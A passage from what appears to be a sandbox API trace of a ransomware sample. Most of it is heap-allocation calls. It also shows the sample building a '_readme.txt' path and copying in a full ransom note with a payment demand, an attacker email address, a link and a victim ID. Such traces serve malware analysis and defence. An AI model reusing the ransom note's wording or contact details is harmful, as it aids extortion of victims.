Size=0x20) returned 0x3450390 [0124.248] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.248] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.248] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.248] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.248] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.248] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.248] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.248] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.248] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.248] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.248] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.248] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.248] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.248] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.248] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.248] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.248] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.248] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.248] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.248] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.248] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.248] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.248] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.248] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.248] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.248] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.248] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.248] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.248] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.248] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.248] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.249] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.249] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.249] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.249] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.249] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.249] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.249] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.249] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.249] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.249] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.249] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.249] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.249] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.249] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.249] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.249] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.249] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.249] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.249] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.249] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.249] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.249] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.249] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.249] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.249] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.249] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.249] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.249] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.249] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.249] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.249] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.249] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.249] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.249] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.249] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.249] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.249] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.249] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.249] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.249] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.249] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.249] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.249] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.250] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.250] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.250] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.250] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.250] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.250] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.250] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.250] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.250] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.250] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.250] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.250] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.250] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.250] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.250] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.250] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.250] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.250] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.250] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.250] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.250] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.250] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.250] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.250] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.250] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.250] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.250] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.250] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.250] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.250] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.250] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.250] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.250] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.250] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.250] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.250] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.250] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.250] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.250] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.250] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.250] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.250] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.251] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.251] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.251] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.251] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.251] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.251] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.251] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.251] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.251] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.251] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.251] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.251] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.251] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.251] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.251] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.251] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.251] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.251] PathFindFileNameW (pszPath="C:\\Boot\\it-IT\\") returned="it-IT\\" [0124.251] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.251] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.251] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.251] PathFindFileNameW (pszPath="") returned="" [0124.251] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.251] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.251] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.251] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x800) returned 0x3ae1ff0 [0124.251] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.251] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x810) returned 0x3ae27f8 [0124.252] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.252] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.252] PathAppendW (in: pszPath="C:\\Boot\\it-IT\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\it-IT\\_readme.txt") returned 1 [0124.252] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.252] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.252] PathFileExistsW (pszPath="C:\\Boot\\it-IT\\_readme.txt") returned 0 [0124.252] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x7d00) returned 0x3ae3bf0 [0124.253] lstrcpyW (in: lpString1=0x3ae3bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.253] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.253] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad9168 [0124.253] CreateFileW (lpFileName="C:\\Boot\\it-IT\\_readme.txt" (normalized: "c:\\boot\\it-it\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.253] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad9168 | out: hHeap=0x810000) returned 1 [0124.253] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae3bf0 | out: hHeap=0x810000) returned 1 [0124.253] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.253] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.253] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.254] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.254] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.254] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.254] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.254] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.255] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.255] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450228 | out: hHeap=0x810000) returned 1 [0124.255] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450228 [0124.255] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.255] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.255] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.255] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.255] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.255] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.255] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.255] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.255] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.255] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.255] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.255] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.255] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.255] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.255] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.255] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.255] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.255] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.255] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.255] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.255] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503b8 | out: hHeap=0x810000) returned 1 [0124.255] 